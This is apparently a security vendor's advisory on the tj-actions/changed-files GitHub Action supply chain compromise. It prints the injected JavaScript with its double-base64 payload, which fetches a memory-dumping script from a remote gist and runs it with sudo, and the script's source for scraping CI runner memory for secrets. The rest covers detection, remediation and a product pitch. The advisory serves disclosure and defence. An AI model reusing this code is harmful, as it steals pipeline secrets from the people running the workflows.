On March 14th, 2025, security researchers discovered a critical software supply chain vulnerability in the widely-used GitHub Action tj-actions/changed-files
(CVE-2025-30066). This vulnerability allows remote attackers to expose CI/CD secrets via the action’s build logs. The issue affects users who rely on the tj-actions/changed-files
action in GitHub workflows to track changed files within a pull request.
Due to the compromised action, sensitive CI/CD secrets are being inadvertently logged in the GitHub Actions build logs. If these logs are publicly accessible, such as in public repositories, unauthorized users could access and retrieve the clear text secrets. However, there is no evidence suggesting that the exposed secrets were transmitted to any external network.
Background: Understanding tj-actions/changed-files
The tj-actions/changed-files
action is widely used in GitHub CI/CD workflows to efficiently detect file changes within pull requests, streamlining development processes by conditionally triggering actions based on modified files. With over 23,000 active repositories and more than 1 million monthly downloads, its widespread adoption makes this compromise particularly impactful, exposing numerous organizations to potential supply chain attacks.
Technical Details on GitHub Action tj-actions
According to the initial report by StepSecurity this incident was first discovered at 4PM UTC on March 14th, 2025, and isolated by 10:30 AM UTC on March 15th, 2025. But, we still warmly advise to avoid using this action until this matter is fully resolved.
Initial investigation implies on a malicious commit (hash:0e58ed8671d6b60d0890c21b07f8835ace038e67
), and a retroactive compromise of multiple versions, possibly all versions.
The attackers introduced malicious JavaScript code directly into the dist/index.js
file of the compromised tj-actions/changed-files
repository.
async function updateFeatures(token) { const {stdout, stderr} = await exec.getExecOutput('bash', ['-c', `echo "aWYgW1sgIiRPU1RZUEUiID09ICJsaW51eC1nbnUiIF1dOyB0aGVuCiAgQjY0X0JMT0I9YGN1cmwgLXNTZiBodHRwczovL2dpc3QuZ2l0aHVidXNlcmNvbnRlbnQuY29tL25pa2l0YXN0dXBpbi8zMGU1MjViNzc2YzQwOWUwM2MyZDZmMzI4ZjI1NDk2NS9yYXcvbWVtZHVtcC5weSB8IHN1ZG8gcHl0aG9uMyB8IHRyIC1kICdcMCcgfCBncmVwIC1hb0UgJyJbXiJdKyI6XHsidmFsdWUiOiJbXiJdKiIsImlzU2VjcmV0Ijp0cnVlXH0nIHwgc29ydCAtdSB8IGJhc2U2NCAtdyAwIHwgYmFzZTY0IC13IDBgCiAgZWNobyAkQjY0X0JMT0IKZWxzZQogIGV4aXQgMApmaQo=" | base64 -d > /tmp/run.sh && bash /tmp/run.sh`], { 1Has a conversation. Original line has a conversation. ignoreReturnCode: true, silent: true }); core.info(stdout); }
The injected script executed during workflow runs, silently logging environment variables and sensitive secrets (e.g., API tokens, access keys) directly into the GitHub Actions build logs.
The malicious payload was carefully concealed, encoded twice using base64
, making manual detection difficult without automated security scanning tools. Upon execution, the decoded payload triggered the execution of a Python script named memdump.py
. Below you can see the content of the Python script.
#!/usr/bin/env python3 ... def get_pid(): # https://stackoverflow.com/questions/2703640/process-list-on-linux-via-python pids = [pid for pid in os.listdir('/proc') if pid.isdigit()] for pid in pids: with open(os.path.join('/proc', pid, 'cmdline'), 'rb') as cmdline_f: if b'Runner.Worker' in cmdline_f.read(): return pid raise Exception('Can not get pid of Runner.Worker') if __name__ == "__main__": pid = get_pid() print(pid) map_path = f"/proc/{pid}/maps" mem_path = f"/proc/{pid}/mem" with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f: for line in map_f.readlines(): # for each mapped region m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line) if m.group(3) == 'r': # readable region start = int(m.group(1), 16) end = int(m.group(2), 16) # hotfix: OverflowError: Python int too large to convert to C long # 18446744073699065856 if start > sys.maxsize: continue mem_f.seek(start) # seek to region start try: chunk = mem_f.read(end - start) # read region contents sys.stdout.buffer.write(chunk) except OSError: continue
As you can see in the script it is reading data from memory, searching for the GitHub action JSON. We crafted a mock-up json and ran the payload in a test environment.
{ "API_KEY": { "value": "123ABC456DEF", "isSecret": true }, "DB_PASSWORD": { "value": "my_secure_password", "isSecret": true }, "ACCESS_TOKEN": { "value": "token_987654", "isSecret": true } }
Below you can see a memory dump of the extracted secret.
│00005010│ 00 00 00 00 00 00 00 00 ┊ 00 00 00 00 00 00 00 00 │00000000┊00000000│ │* │ ┊ │ ┊ │ │00005290│ 00 00 00 00 00 00 00 00 ┊ d1 00 00 00 00 00 00 00 │00000000┊×0000000│ │000052a0│ 7b 0a 20 20 20 20 22 41 ┊ 50 49 5f 4b 45 59 22 3a │{_ "A┊PI_KEY":│ │000052b0│ 20 7b 22 76 61 6c 75 65 ┊ 22 3a 20 22 31 32 33 41 │ {"value┊": "123A│ │000052c0│ 42 43 34 35 36 44 45 46 ┊ 22 2c 20 22 69 73 53 65 │BC456DEF┊", "isSe│ │000052d0│ 63 72 65 74 22 3a 20 74 ┊ 72 75 65 7d 2c 0a 20 20 │cret": t┊rue},_ │ │000052e0│ 20 20 22 44 42 5f 50 41 ┊ 53 53 57 4f 52 44 22 3a │ "DB_PA┊SSWORD":│ │000052f0│ 20 7b 22 76 61 6c 75 65 ┊ 22 3a 20 22 6d 79 5f 73 │ {"value┊": "my_s│ │00005300│ 65 63 75 72 65 5f 70 61 ┊ 73 73 77 6f 72 64 22 2c │ecure_pa┊ssword",│ │00005310│ 20 22 69 73 53 65 63 72 ┊ 65 74 22 3a 20 74 72 75 │ "isSecr┊et": tru│ │00005320│ 65 7d 2c 0a 20 20 20 20 ┊ 22 41 43 43 45 53 53 5f │e},_ ┊"ACCESS_│ │00005330│ 54 4f 4b 45 4e 22 3a 20 ┊ 7b 22 76 61 6c 75 65 22 │TOKEN": ┊{"value"│ │00005340│ 3a 20 22 74 6f 6b 65 6e ┊ 5f 39 38 37 36 35 34 22 │: "token┊_987654"│ │00005350│ 2c 20 22 69 73 53 65 63 ┊ 72 65 74 22 3a 20 74 72 │, "isSec┊ret": tr│ │00005360│ 75 65 7d 0a 7d 00 00 00 ┊ 11 04 00 00 00 00 00 00 │ue}_}000┊••000000│ │00005370│ 53 6c 65 65 70 69 6e 67 ┊ 20 66 6f 72 20 31 30 30 │Sleeping┊ for 100│ │00005380│ 20 73 65 63 6f 6e 64 73 ┊ 2e 2e 2e 0a 31 32 33 41 │ seconds┊..._123A│ │00005390│ 42 43 34 35 36 44 45 46 ┊ 22 2c 20 22 69 73 53 65 │BC456DEF┊", "isSe│ │000053a0│ 63 72 65 74 22 3a 20 74 ┊ 72 75 65 7d 2c 0a 20 20 │cret": t┊rue},_ │ │000053b0│ 20 20 22 44 42 5f 50 41 ┊ 53 53 57 4f 52 44 22 3a │ "DB_PA┊SSWORD":│ │000053c0│ 20 7b 22 76 61 6c 75 65 ┊ 22 3a 20 22 6d 79 5f 73 │ {"value┊": "my_s│ │000053d0│ 65 63 75 72 65 5f 70 61 ┊ 73 73 77 6f 72 64 22 2c │ecure_pa┊ssword",│ │000053e0│ 20 22 69 73 53 65 63 72 ┊ 65 74 22 3a 20 74 72 75 │ "isSecr┊et": tru│ │000053f0│ 65 7d 2c 0a 20 20 20 20 ┊ 22 41 43 43 45 53 53 5f │e},_ ┊"ACCESS_│ │00005400│ 54 4f 4b 45 4e 22 3a 20 ┊ 7b 22 76 61 6c 75 65 22 │TOKEN": ┊{"value"│ │00005410│ 3a 20 22 74 6f 6b 65 6e ┊ 5f 39 38 37 36 35 34 22 │: "token┊_987654"│ │00005420│ 2c 20 22 69 73 53 65 63 ┊ 72 65 74 22 3a 20 74 72 │, "isSec┊ret": tr│ │00005430│ 75 65 7d 0a 00 00 00 00 ┊ 00 00 00 00 00 00 00 00 │ue}_0000┊00000000│ │00005440│ 00 00 00 00 00 00 00 00 ┊ 00 00 00 00 00 00 00 00 │00000000┊00000000│ │* │ ┊ │ ┊ │ │00005770│ 00 00 00 00 00 00 00 00 ┊ 91 08 02 00 00 00 00 00 │00000000┊ו•00000│ │00005780│ 00 00 00 00 00 00 00 00 ┊ 00 00 00 00 00 00 00 00 │00000000┊00000000│
This script systematically enumerated and dumped all available environment variables and sensitive data into the GitHub Action logs, significantly increasing the risk of secret exposure.
How to Check if You’re Impacted
This incident impacts GitHub actions runs on Mar 14, that were using the malicious action.
Best way to know if you are impacted is to look the action outputs from Mar 14, under changed-files section, if there’s a long string, decode it using
echo 'xxx' | base64 -d | base64 -d
, and revoke those token immediately.
If you are not sure if you are using this GitHub action, you can do the following:
- Review your GitHub Workflows, and search for uses: tj-actions/changed-files@<version>
uses: tj-actions/changed-files@<version>
- Alternatively, you can also look at results of this query, replacing
<ORG>
with your GitHub organization name:
https://github.com/search?q=org%3A<ORG>+uses%3A+tj-actions%2F&type=code
Current findings indicate that nearly all tagged versions of tj-actions/changed-files have been compromised, resulting in direct access to running containers and virtual machines’ memory, allowing the extraction of sensitive secrets, information, and code.
Immediate Next Steps
If your workflows use the compromised version of tj-actions/changed-files
:
- Immediately remove or revert to a known safe version prior to the compromise.
- Rotate all exposed secrets and tokens within affected workflows or environments.
- Audit runner environments for suspicious activity or external connections.
- Monitor logs closely for any unauthorized access attempts or unusual activities.
- Implement enhanced security measures, including validation checks and security scanning tools, to identify and mitigate future threats promptly.
Aqua secruity experts recommend adopting best practices, including:
- Pinning specific and verified action versions instead of using floating tags like
@master
or@latest
. - Regular dependency scanning and vulnerability assessments.
- Enhanced security monitoring using tools specifically designed to detect software supply chain compromises.
How Aqua Security Helps
To enhance the security of your CI/CD workflows and avoid vulnerabilities like this one, we recommend enforcing the practice of pinning commits within the Aqua security policies.
The recent attack involved modifying version tags (e.g., v35, v44.5.1) to point to malicious commits, allowing compromised code to automatically be executed in workflows. This issue could have been mitigated by pinning actions versions to specific commit SHAs
, ensuring that only trusted and verified versions of actions are used.
We strongly advise you to adopt CI/CD control mechanisms such as Aqua’s that enforces pinning to a known, good commit SHA
for all workflows. For example, workflows should reference actions like tj-actions/changed-files@0a1b2c3d4e5f6g7h8i9j0k
, which points to a specific commit, rather than using a mutable version tag such as tj-actions/changed-files@v35
. By pinning to specific commits, Aqua Security can ensure that workflows will not inadvertently pull in malicious updates if a version tag is altered.
This policy will help prevent automatic updates to workflows that could introduce security risks and provide greater control over the code executed in CI/CD pipelines.
In addition you can also benefit from Aqua’s Advanced Malware Protection (AMP) in your CI/CD pipelines. As illustrated in Figure 1 below, when running this scenario the malware is detected by the Aqua’s AMP.
By navigating to the Incidents page, you can learn more about the sequence of events that led to the malware detection.
As seen in the Aqua Incidents Timeline, you can analyze the timeline before and after the malware detection, you can explore forensic data about events preceded to the malware detection. For instance, a wget/curl usage indicates the the memdump.py file was downloaded from remote source, another events shows that the downloaded file was actually a script that was dropped during the build and you can also see the usage of base64 decoding.
For further information or assistance in securing your cloud-native and CI/CD environments, reach out to the Aqua Security team.